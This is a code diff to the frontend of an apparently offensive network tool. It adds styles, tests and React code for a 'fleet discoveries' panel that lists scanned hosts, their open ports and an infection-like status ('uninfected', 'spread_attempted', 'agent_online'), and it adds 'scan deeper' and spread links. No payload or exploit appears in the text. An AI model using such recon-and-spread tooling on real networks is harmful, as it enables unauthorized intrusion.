|
||||||
|
color: var(--text-muted);
|
||||||
|
margin-bottom: 0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-table-wrap {
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-table {
|
||||||
|
width: 100%;
|
||||||
|
border-collapse: collapse;
|
||||||
|
font-size: 0.78rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-table th {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.62rem;
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--text-muted);
|
||||||
|
text-align: left;
|
||||||
|
padding: 0.35rem 0.5rem;
|
||||||
|
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-table td {
|
||||||
|
padding: 0.45rem 0.5rem;
|
||||||
|
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
|
||||||
|
vertical-align: middle;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-ports {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.3rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-port {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.62rem;
|
||||||
|
padding: 1px 5px;
|
||||||
|
border-radius: 3px;
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-port.open {
|
||||||
|
border-color: rgba(0, 232, 245, 0.35);
|
||||||
|
background: rgba(0, 232, 245, 0.1);
|
||||||
|
color: #9efcff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-port.muted {
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-badge {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.6rem;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
padding: 2px 6px;
|
||||||
|
border-radius: 3px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-badge.uninfected {
|
||||||
|
border-color: rgba(0, 232, 245, 0.35);
|
||||||
|
color: #9efcff;
|
||||||
|
background: rgba(0, 232, 245, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-disc-actions {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.35rem;
|
||||||
|
}
|
||||||
|
|||||||
@@ -9,12 +9,20 @@ import DeployReconPage from './DeployReconPage';
|
|||||||
import { routerFuture } from '../routerFuture';
|
import { routerFuture } from '../routerFuture';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||||
import type { ReconScanReport } from '../types/recon';
|
import type { DiscoveredHostsResponse, ReconScanReport } from '../types/recon';
|
||||||
|
|
||||||
vi.mock('../components/HelpTip', () => ({
|
vi.mock('../components/HelpTip', () => ({
|
||||||
HelpTip: () => null,
|
HelpTip: () => null,
|
||||||
}));
|
}));
|
||||||
|
|
||||||
|
vi.mock('../hooks/useWebSocket', () => ({
|
||||||
|
useWebSocket: () => ({
|
||||||
|
latestMessage: null,
|
||||||
|
agents: [{ id: 'agent-1', name: 'hop-a', hostname: 'hop-a', ip: '10.0.0.1', status: 'online' }],
|
||||||
|
isConnected: true,
|
||||||
|
}),
|
||||||
|
}));
|
||||||
|
|
||||||
const sampleReport: ReconScanReport = {
|
const sampleReport: ReconScanReport = {
|
||||||
host: 'scan.lab',
|
host: 'scan.lab',
|
||||||
scanned_at: '2026-06-07T12:00:00Z',
|
scanned_at: '2026-06-07T12:00:00Z',
|
||||||
@@ -66,6 +74,18 @@ describe('DeployReconPage', () => {
|
|||||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||||
vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport);
|
vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport);
|
||||||
|
vi.spyOn(api, 'getDiscoveredHosts').mockResolvedValue({
|
||||||
|
hosts: [
|
||||||
|
{
|
||||||
|
ip: '10.0.1.99',
|
||||||
|
open_ports: [22, 445],
|
||||||
|
reporter_agent_id: 'agent-1',
|
||||||
|
subnet_prefix: '10.0.1.x',
|
||||||
|
last_seen: '2026-06-07T11:00:00Z',
|
||||||
|
status: 'uninfected',
|
||||||
|
},
|
||||||
|
],
|
||||||
|
} satisfies DiscoveredHostsResponse);
|
||||||
vi.stubGlobal('navigator', {
|
vi.stubGlobal('navigator', {
|
||||||
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
|
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
|
||||||
});
|
});
|
||||||
@@ -97,6 +117,23 @@ describe('DeployReconPage', () => {
|
|||||||
expect(spreadLinks[0]).toHaveAttribute('href', '/crucible?reconHost=scan.lab&tab=spread');
|
expect(spreadLinks[0]).toHaveAttribute('href', '/crucible?reconHost=scan.lab&tab=spread');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('shows fleet discoveries table with uninfected badge', async () => {
|
||||||
|
renderPage();
|
||||||
|
expect(await screen.findByTestId('dr-discovery-row-10.0.1.99')).toBeInTheDocument();
|
||||||
|
expect(screen.getByTestId('dr-badge-10.0.1.99')).toHaveTextContent('Not in fleet');
|
||||||
|
const row = screen.getByTestId('dr-discovery-row-10.0.1.99');
|
||||||
|
expect(row.querySelector('a[href*="reconHost=10.0.1.99"]')).toBeTruthy();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('merges manual scan into fleet discoveries', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
renderPage();
|
||||||
|
await user.type(screen.getByTestId('dr-host-input'), 'scan.lab');
|
||||||
|
await user.click(screen.getByTestId('dr-scan-btn'));
|
||||||
|
expect(await screen.findByTestId('dr-results')).toBeInTheDocument();
|
||||||
|
expect(screen.getByTestId('dr-discovery-row-scan.lab')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
it('shows skeleton while scanning', async () => {
|
it('shows skeleton while scanning', async () => {
|
||||||
vi.useFakeTimers({ shouldAdvanceTime: true });
|
vi.useFakeTimers({ shouldAdvanceTime: true });
|
||||||
let resolveScan: ((v: ReconScanReport) => void) | undefined;
|
let resolveScan: ((v: ReconScanReport) => void) | undefined;
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ import {
|
|||||||
curlInstallLine,
|
curlInstallLine,
|
||||||
reconScanBody,
|
reconScanBody,
|
||||||
} from '../help/deployRecon';
|
} from '../help/deployRecon';
|
||||||
|
import FleetDiscoveriesPanel from '../components/Recon/FleetDiscoveriesPanel';
|
||||||
import './DeployReconPage.css';
|
import './DeployReconPage.css';
|
||||||
import '../components/Fleet/ReconVisuals.css';
|
import '../components/Fleet/ReconVisuals.css';
|
||||||
|
|
||||||
@@ -191,6 +192,8 @@ export default function DeployReconPage() {
|
|||||||
const [scanning, setScanning] = useState(false);
|
const [scanning, setScanning] = useState(false);
|
||||||
const [error, setError] = useState('');
|
const [error, setError] = useState('');
|
||||||
const [report, setReport] = useState<ReconScanReport | null>(null);
|
const [report, setReport] = useState<ReconScanReport | null>(null);
|
||||||
|
const [manualScans, setManualScans] = useState<ReconScanReport[]>([]);
|
||||||
|
const [deepScanIp, setDeepScanIp] = useState('');
|
||||||
const [serverBase, setServerBase] = useState('');
|
const [serverBase, setServerBase] = useState('');
|
||||||
const [pinnedBuildId, setPinnedBuildId] = useState('');
|
const [pinnedBuildId, setPinnedBuildId] = useState('');
|
||||||
|
|
||||||
@@ -215,8 +218,8 @@ export default function DeployReconPage() {
|
|||||||
})();
|
})();
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
const runScan = useCallback(async () => {
|
const runScan = useCallback(async (targetHost?: string) => {
|
||||||
const trimmed = host.trim();
|
const trimmed = (targetHost ?? host).trim();
|
||||||
if (!trimmed) {
|
if (!trimmed) {
|
||||||
setScanning(false);
|
setScanning(false);
|
||||||
setError('Host or IP required');
|
setError('Host or IP required');
|
||||||
@@ -229,15 +232,35 @@ export default function DeployReconPage() {
|
|||||||
try {
|
try {
|
||||||
const body = reconScanBody(trimmed, portNum, https, pathPrefix);
|
const body = reconScanBody(trimmed, portNum, https, pathPrefix);
|
||||||
const res = await api.reconScan(body, controller.signal);
|
const res = await api.reconScan(body, controller.signal);
|
||||||
if (!controller.signal.aborted) setReport(res);
|
if (!controller.signal.aborted) {
|
||||||
|
setReport(res);
|
||||||
|
setManualScans((prev) => {
|
||||||
|
const rest = prev.filter((s) => s.host.trim() !== res.host.trim());
|
||||||
|
return [res, ...rest].slice(0, 48);
|
||||||
|
});
|
||||||
|
}
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
if (e instanceof DOMException && e.name === 'AbortError') return;
|
if (e instanceof DOMException && e.name === 'AbortError') return;
|
||||||
setError(e instanceof Error ? e.message : 'Scan failed');
|
setError(e instanceof Error ? e.message : 'Scan failed');
|
||||||
} finally {
|
} finally {
|
||||||
if (!controller.signal.aborted) setScanning(false);
|
if (!controller.signal.aborted) {
|
||||||
|
setScanning(false);
|
||||||
|
setDeepScanIp('');
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}, [host, port, https, pathPrefix]);
|
}, [host, port, https, pathPrefix]);
|
||||||
|
|
||||||
|
const handleScanDeeper = useCallback((ip: string) => {
|
||||||
|
setHost(ip);
|
||||||
|
setDeepScanIp(ip);
|
||||||
|
setScanning(true);
|
||||||
|
setError('');
|
||||||
|
if (debounceRef.current) clearTimeout(debounceRef.current);
|
||||||
|
debounceRef.current = setTimeout(() => {
|
||||||
|
void runScan(ip);
|
||||||
|
}, SCAN_DEBOUNCE_MS);
|
||||||
|
}, [runScan]);
|
||||||
|
|
||||||
const scheduleScan = useCallback(() => {
|
const scheduleScan = useCallback(() => {
|
||||||
const trimmed = host.trim();
|
const trimmed = host.trim();
|
||||||
if (!trimmed) {
|
if (!trimmed) {
|
||||||
@@ -347,6 +370,14 @@ export default function DeployReconPage() {
|
|||||||
pinnedBuildId={pinnedBuildId}
|
pinnedBuildId={pinnedBuildId}
|
||||||
/>
|
/>
|
||||||
) : null}
|
) : null}
|
||||||
|
|
||||||
|
<FleetDiscoveriesPanel
|
||||||
|
manualScans={manualScans}
|
||||||
|
onScanDeeper={handleScanDeeper}
|
||||||
|
scanningIp={deepScanIp}
|
||||||
|
serverBase={serverBase}
|
||||||
|
pinnedBuildId={pinnedBuildId}
|
||||||
|
/>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -175,3 +175,24 @@ export interface ReconWebFindingCard {
|
|||||||
probe_url?: string;
|
probe_url?: string;
|
||||||
mermaid?: string;
|
mermaid?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** GET /api/v1/recon/discovered-hosts — agent subnet recon store. */
|
||||||
|
export type DiscoveredHostStatus = 'uninfected' | 'spread_attempted' | 'agent_online';
|
||||||
|
|
||||||
|
export interface DiscoveredHost {
|
||||||
|
ip: string;
|
||||||
|
open_ports: number[];
|
||||||
|
reporter_agent_id?: string;
|
||||||
|
subnet_prefix: string;
|
||||||
|
http_title?: string;
|
||||||
|
first_seen?: string;
|
||||||
|
last_seen: string;
|
||||||
|
status: DiscoveredHostStatus;
|
||||||
|
source?: 'agent' | 'manual';
|
||||||
|
}
|
||||||
|
|
||||||
|
export type DiscoveredHostRow = DiscoveredHost & { source: 'agent' | 'manual' };
|
||||||
|
|
||||||
|
export interface DiscoveredHostsResponse {
|
||||||
|
hosts: DiscoveredHost[];
|
||||||
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user